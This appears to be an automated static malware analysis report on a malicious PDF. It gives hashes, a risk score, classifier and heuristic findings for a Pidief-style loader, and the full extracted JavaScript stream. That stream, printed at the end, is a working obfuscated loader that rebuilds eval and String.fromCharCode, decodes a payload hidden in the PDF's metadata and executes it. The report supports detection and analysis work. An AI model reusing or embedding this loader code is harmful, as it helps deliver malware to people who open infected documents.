Malicious PDF — malware analysis report

Static analysis result for SHA-256 d50c5c0ea28974f2…

MALICIOUS

PDF

44.6 KB Authoring application: substr First seen: 2015-09-20
MD5: 03240dc47949320df813c9c8254d34ed SHA-1: 43a44a2c35270bc10cc793d1dbc7d74a73f69888 SHA-256: d50c5c0ea28974f2f9ae9e01b8ca8d96adc797fc6c49f8795e1ae8d57efd890c
86 Risk Score

Malware Insights

The ML classifier strongly indicates maliciousness, supported by the presence of embedded JavaScript. The JavaScript stream, named 'javascript_obj0001_000.js', is likely responsible for executing the malicious payload. The document body 'substr pli e test' provides no contextual information for the attack.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF95 529 bytes
SHA-256: a1febed9f22036c54fb599691092b37ab23449f1529cdaf529f70b381ddde12a
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
zz='keyw';
zz+='ords';
opf=e(zz);
l='leng';
l+='t'+'';
l+='h';
q=opf[v](a[l]-7,9);
d='Strin';
d+='g.';
d+='f'+'r';
d+='o';
d+=q;
frtpe=e(e('d'));
sub=v[0];
sub+='ubject';
q=opf[e('v')](t[l]+12)[v[0]+e(sub)+'t']('c');
k=q[t[0]+'eng'+'t'+''+'h'];
i=t[t[0]+'eng'+'t'+''+'h']-2;
for(;i!==k;){
	vreim = 1*(q[i]);
	i++;
	vreim -= (-1)*(q[i]);
	s2 += frtpe(vreim);
	i++;
}
e(s2);

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